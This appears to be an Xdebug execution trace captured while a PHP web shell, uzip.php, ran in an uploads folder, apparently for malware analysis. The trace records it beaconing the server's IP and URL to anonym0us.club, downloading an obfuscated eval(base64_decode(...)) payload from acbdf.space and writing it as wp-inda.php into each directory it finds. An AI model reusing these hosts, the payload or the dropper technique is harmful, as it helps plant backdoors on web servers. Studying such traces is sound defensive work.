$v_result = \'Unknown\'; return $v_result; } function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) { if (stristr(php_uname(), \'windows\')) { if (($p_remove_disk_letter) && (($v_position = strpos($p_path, \':\')) != false)) { $p_path = substr($p_path, $v_position+1); } if ((strpos($p_path, \'\\\\\') > 0) || (substr($p_path, 0,1) == \'\\\\\')) { $p_path = strtr($p_path, \'\\\\\', \'/\'); } } return $p_path; } ?>'	/var/www/html/uploads/uzip.php(4) : eval()'d code	1	0
4	20	0	0.015284	1369640	base64_decode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	1	'aHR0cHM6Ly9hbm9ueW0wdXMuY2x1Yi9sLQ=='
4	20	1	0.015307	1369736
4	20	R			'https://anonym0us.club/l-'
4	21	0	0.015324	1369704	GetIP	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	0
5	22	0	0.015341	1369704	getenv	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	3	1	'HTTP_CLIENT_IP'
5	22	1	0.015358	1369736
5	22	R			FALSE
5	23	0	0.015372	1369704	getenv	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	5	1	'HTTP_X_FORWARDED_FOR'
5	23	1	0.015387	1369736
5	23	R			FALSE
5	24	0	0.015401	1369704	getenv	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	12	1	'REMOTE_ADDR'
5	24	1	0.015417	1369776
5	24	R			'127.0.0.1'
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	12	$ip = '127.0.0.1'
4	21	1	0.015448	1369744
4	21	R			'127.0.0.1'
4	25	0	0.015464	1369768	base64_encode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	1	'http://localhost/uploads/uzip.php'
4	25	1	0.015479	1369880
4	25	R			'aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	16	$x = 'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
4	26	0	0.015514	1369752	function_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	17	1	'curl_init'
4	26	1	0.015528	1369792
4	26	R			TRUE
4	27	0	0.015542	1369752	curl_init	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	0
4	27	1	0.015581	1370664
4	27	R			resource(3) of type (curl)
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	$ch = resource(3) of type (curl)
4	28	0	0.015618	1370664	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	3	resource(3) of type (curl)	10002	'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
4	28	1	0.015639	1370760
4	28	R			TRUE
4	29	0	0.015653	1370664	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	3	resource(3) of type (curl)	19913	TRUE
4	29	1	0.015669	1370760
4	29	R			TRUE
4	30	0	0.015683	1370664	curl_exec	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	1	resource(3) of type (curl)
4	30	1	0.625250	1370696
4	30	R			''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	$gitt = ''
4	31	0	0.625309	1370664	curl_close	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	19	1	resource(3) of type (curl)
4	31	1	0.626129	1369808
4	31	R			NULL
4	32	0	0.626179	1369776	file_get_contents	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	21	1	'https://anonym0us.club/l-127.0.0.1-aHR0cDovL2xvY2FsaG9zdC91cGxvYWRzL3V6aXAucGhw'
4	32	1	1.059470	1371832
4	32	R			''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	21	$gitt = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	27	$document_root = '/var/www/html'
4	33	0	1.059559	1371792	dirname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	28	1	'/var/www/html/uploads/uzip.php(4) : eval()\'d code(1) : eval()\'d code'
4	33	1	1.059575	1371920
4	33	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	28	$document_root_file = '/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	29	$wp_detect = 0
4	34	0	1.059628	1371944	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	30	1	'/var/www/html/wp-load.php'
4	34	1	1.059656	1371984
4	34	R			FALSE
4	35	0	1.059670	1371888	explode	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	36	2	'/'	'/var/www/html/uploads'
4	35	1	1.059685	1372464
4	35	R			[0 => '', 1 => 'var', 2 => 'www', 3 => 'html', 4 => 'uploads']
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	36	$prefix = 5
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	37	$a = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i = 0
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../'
4	36	0	1.059750	1371952	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../wp-load.php'
4	36	1	1.059768	1371992
4	36	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../'
4	37	0	1.059809	1371984	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../wp-load.php'
4	37	1	1.059827	1372024
4	37	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../../'
4	38	0	1.059860	1372008	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../../wp-load.php'
4	38	1	1.059876	1372048
4	38	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../../../'
4	39	0	1.059908	1372008	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../../../wp-load.php'
4	39	1	1.059923	1372048
4	39	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	40	$a = '../../../../../'
4	40	0	1.059954	1372008	file_exists	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	41	1	'/var/www/html/uploads/../../../../../wp-load.php'
4	40	1	1.059971	1372048
4	40	R			FALSE
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	38	$i++
4	41	0	1.059994	1371928	expandDirectories	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	87	1	'/var/www/html'
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	102	$directories = []
5	42	0	1.060020	1371928	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	103	1	'/var/www/html'
5	42	1	1.060065	1372432
5	42	R			[0 => '.', 1 => '..', 2 => 'uploads']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads'
5	43	0	1.060096	1372448	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads'
5	43	1	1.060112	1372512
5	43	R			TRUE
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	107	$directories[] = '/var/www/html/uploads'
5	44	0	1.060137	1372848	expandDirectories	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	1	'/var/www/html/uploads'
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	102	$directories = []
6	45	0	1.060162	1372848	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	103	1	'/var/www/html/uploads'
6	45	1	1.060187	1373472
6	45	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php']
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/.htaccess'
6	46	0	1.060219	1373496	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/.htaccess'
6	46	1	1.060235	1373544
6	46	R			FALSE
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/data'
6	47	0	1.060258	1373504	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/data'
6	47	1	1.060273	1373544
6	47	R			TRUE
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	107	$directories[] = '/var/www/html/uploads/data'
6	48	0	1.060297	1373880	expandDirectories	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	1	'/var/www/html/uploads/data'
6		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	102	$directories = []
7	49	0	1.060321	1373880	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	103	1	'/var/www/html/uploads/data'
7	49	1	1.060396	1374408
7	49	R			[0 => '.', 1 => '..', 2 => 'trace-1676238490.8178.xt.gz']
6		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/data/trace-1676238490.8178.xt.gz'
7	50	0	1.060445	1374456	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/data/trace-1676238490.8178.xt.gz'
7	50	1	1.060463	1374520
7	50	R			FALSE
6	48	1	1.060490	1373904
6	48	R			[]
6	51	0	1.060502	1373904	array_merge	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	2	[0 => '/var/www/html/uploads/data']	[]
6	51	1	1.060517	1374344
6	51	R			[0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	$directories = [0 => '/var/www/html/uploads/data']
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/prepend.php'
6	52	0	1.060558	1373968	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/prepend.php'
6	52	1	1.060579	1373992
6	52	R			FALSE
5		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	105	$dir = '/var/www/html/uploads/uzip.php'
6	53	0	1.060603	1373944	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	106	1	'/var/www/html/uploads/uzip.php'
6	53	1	1.060618	1373976
6	53	R			FALSE
5	44	1	1.060630	1373288
5	44	R			[0 => '/var/www/html/uploads/data']
5	54	0	1.060645	1373288	array_merge	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	2	[0 => '/var/www/html/uploads']	[0 => '/var/www/html/uploads/data']
5	54	1	1.060661	1373728
5	54	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	108	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	41	1	1.060696	1372440
4	41	R			[0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	87	$directories = [0 => '/var/www/html/uploads', 1 => '/var/www/html/uploads/data']
4	55	0	1.060783	1372440	http_get	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	88	1	'https://acbdf.space/txt/wp.txt'
5	56	0	1.060798	1372440	curl_init	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	115	1	'https://acbdf.space/txt/wp.txt'
5	56	1	1.060819	1373384
5	56	R			resource(9) of type (curl)
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	115	$im = resource(9) of type (curl)
5	57	0	1.060845	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	116	3	resource(9) of type (curl)	19913	1
5	57	1	1.060861	1373448
5	57	R			TRUE
5	58	0	1.060874	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	117	3	resource(9) of type (curl)	78	10
5	58	1	1.060889	1373448
5	58	R			TRUE
5	59	0	1.060901	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	118	3	resource(9) of type (curl)	52	1
5	59	1	1.060915	1373448
5	59	R			TRUE
5	60	0	1.060927	1373352	curl_setopt	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	119	3	resource(9) of type (curl)	42	0
5	60	1	1.060941	1373448
5	60	R			TRUE
5	61	0	1.060953	1373352	curl_exec	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	120	1	resource(9) of type (curl)
5	61	1	1.713811	1418440
5	61	R			'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	55	1	1.714769	1417496
4	55	R			'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	88	$css = '<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	62	0	1.714995	1417496	preg_match	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	91	2	'#wp-content#'	'/var/www/html/uploads'
4	62	1	1.715203	1417560
4	62	R			0
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	93	$css_file = '/var/www/html/uploads/wp-inda.php'
4	63	0	1.715234	1417560	fopen	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	2	'/var/www/html/uploads/wp-inda.php'	'w'
4	63	1	1.715284	1418112
4	63	R			resource(10) of type (stream)
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	$open_css = resource(10) of type (stream)
4	64	0	1.715315	1418040	fwrite	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	95	2	resource(10) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	64	1	1.715404	1418104
4	64	R			41293
4	65	0	1.715419	1418040	fclose	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	96	1	resource(10) of type (stream)
4	65	1	1.715436	1417616
4	65	R			TRUE
4	66	0	1.715449	1417584	preg_match	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	91	2	'#wp-content#'	'/var/www/html/uploads/data'
4	66	1	1.715465	1417648
4	66	R			0
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	93	$css_file = '/var/www/html/uploads/data/wp-inda.php'
4	67	0	1.715491	1417584	fopen	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	2	'/var/www/html/uploads/data/wp-inda.php'	'w'
4	67	1	1.715524	1418136
4	67	R			resource(11) of type (stream)
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	94	$open_css = resource(11) of type (stream)
4	68	0	1.715553	1418040	fwrite	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	95	2	resource(11) of type (stream)	'<?php eval(base64_decode(\'CiBnb3RvIHc4bnZfOyBIQkV6bjogJHVENjRfQ29tID0gIlwxNDdceDdhXDE1MVwxNTZceDY2XHg2Y1wxNDFceDc0XDE0NSI7IGdvdG8gTGpJb1E7IExqSW9ROiAkdUQ2NF9DMG0gPSAiXDE0Mlx4NjFceDczXDE0NVw2Nlw2NFwxMzdcMTQ0XDE0NVwxNDNceDZmXDE0NFx4NjUiOyBnb3RvIFFodDBxOyB3OG52XzogJGkxaSA9ICJceDNkXHgzZFx4M2RceDNkXHgzZFw3NVx4M2RceDNkXDc1XDc1XDc1XDc1XHgzZFx4M2RcNzVceDNkXDc1XDc1XHgzZFw3NVw3NVw3NVw3NVw3NVx4M2RcNzVcNzVcNzVceDNkXDc1XHgzZFx4M2RcNzVcNzVcNzVcNzVcNzVceDNkXDc1XDc1XDc1XDc1XDc1XHgzZFw3NVw3NVx4M2RcNzVceDNkXHgzZFx4M2RcNzVce'
4	68	1	1.715647	1418104
4	68	R			41293
4	69	0	1.715661	1418040	fclose	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	96	1	resource(11) of type (stream)
4	69	1	1.715678	1417616
4	69	R			TRUE
4	70	0	1.715991	1425888	dirname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	194	1	'/var/www/html/uploads/uzip.php(4) : eval()\'d code(1) : eval()\'d code'
4	70	1	1.716010	1426016
4	70	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	194	$unzip_location = '/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	196	$dir = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	197	$action = ''
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	198	$unzip = ''
4	71	0	1.716074	1425984	getcwd	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	202	0
4	71	1	1.716089	1426032
4	71	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	202	$basedir = '/var/www/html/uploads'
4	72	0	1.716116	1426032	str_replace	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	203	3	'\\'	'/'	'/var/www/html/uploads'
4	72	1	1.716133	1426128
4	72	R			'/var/www/html/uploads'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	203	$basedir = '/var/www/html/uploads'
4	73	0	1.716159	1426032	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	205	1	''
4	73	1	1.716174	1426072
4	73	R			FALSE
4	74	0	1.716187	1426032	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	274	1	'/var/www/html/uploads'
4	74	1	1.716204	1426064
4	74	R			TRUE
4	75	0	1.716217	1426024	dirname	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	276	1	'/var/www/html/uploads'
4	75	1	1.716231	1426104
4	75	R			'/var/www/html'
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	276	$parent = '/var/www/html'
4	76	0	1.716258	1426072	getcwd	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	284	0
4	76	1	1.716271	1426120
4	76	R			'/var/www/html/uploads'
4	77	0	1.716285	1426120	scandir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	284	1	'/var/www/html/uploads'
4	77	1	1.716318	1426784
4	77	R			[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php', 6 => 'wp-inda.php']
3		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	284	$files = [0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php', 6 => 'wp-inda.php']
4	78	0	1.716358	1426704	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'.'
4	78	1	1.716374	1426728
4	78	R			TRUE
4	79	0	1.716387	1426688	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'..'
4	79	1	1.716403	1426728
4	79	R			TRUE
4	80	0	1.716416	1426688	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'.htaccess'
4	80	1	1.716431	1426736
4	80	R			FALSE
4	81	0	1.716444	1426696	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'data'
4	81	1	1.716458	1426728
4	81	R			TRUE
4	82	0	1.716477	1426688	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'prepend.php'
4	82	1	1.716493	1426736
4	82	R			FALSE
4	83	0	1.716505	1426696	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'uzip.php'
4	83	1	1.716520	1426736
4	83	R			FALSE
4	84	0	1.716533	1426696	is_dir	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	287	1	'wp-inda.php'
4	84	1	1.716548	1426736
4	84	R			FALSE
4	85	0	1.716561	1426720	reset	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	292	1	[0 => '.', 1 => '..', 2 => '.htaccess', 3 => 'data', 4 => 'prepend.php', 5 => 'uzip.php', 6 => 'wp-inda.php']
4	85	1	1.716580	1426752
4	85	R			NULL
4	86	0	1.716593	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'.'
4	86	1	1.716608	1426752
4	86	R			FALSE
4	87	0	1.716620	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'.'
4	87	1	1.716633	1426752
4	87	R			FALSE
4	88	0	1.716702	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'..'
4	88	1	1.716723	1426752
4	88	R			FALSE
4	89	0	1.716749	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'..'
4	89	1	1.716762	1426752
4	89	R			FALSE
4	90	0	1.716775	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'.htaccess'
4	90	1	1.716790	1426760
4	90	R			TRUE
4	91	0	1.716803	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'.htaccess'
5	92	0	1.716818	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'.htaccess'
5	92	1	1.716833	1427424
5	92	R			['dirname' => '.', 'basename' => '.htaccess', 'extension' => 'htaccess', 'filename' => '']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => '.htaccess', 'extension' => 'htaccess', 'filename' => '']
4	91	1	1.716877	1426760
4	91	R			'htaccess'
4	93	0	1.716891	1426760	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'htaccess'
4	93	1	1.716905	1426792
4	93	R			'htaccess'
4	94	0	1.716918	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'.htaccess'
4	94	1	1.716931	1426760
4	94	R			TRUE
4	95	0	1.716945	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'data'
4	95	1	1.716960	1426752
4	95	R			FALSE
4	96	0	1.716973	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'data'
4	96	1	1.716986	1426752
4	96	R			FALSE
4	97	0	1.716999	1426712	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'prepend.php'
4	97	1	1.717014	1426760
4	97	R			TRUE
4	98	0	1.717027	1426720	fileext	1		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'prepend.php'
5	99	0	1.717040	1426720	pathinfo	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	1	'prepend.php'
5	99	1	1.717055	1427416
5	99	R			['dirname' => '.', 'basename' => 'prepend.php', 'extension' => 'php', 'filename' => 'prepend']
4		A						/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	155	$p = ['dirname' => '.', 'basename' => 'prepend.php', 'extension' => 'php', 'filename' => 'prepend']
4	98	1	1.717091	1426752
4	98	R			'php'
4	100	0	1.717104	1426752	strtolower	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'php'
4	100	1	1.717118	1426784
4	100	R			'php'
4	101	0	1.717130	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	297	1	'prepend.php'
4	101	1	1.717144	1426760
4	101	R			TRUE
4	102	0	1.717157	1426720	is_file	0		/var/www/html/uploads/uzip.php(4) : eval()'d code(1) : eval()'d code	295	1	'uzip.php'
4	102	1	1.717173	1426760
4	102	R			TRUE
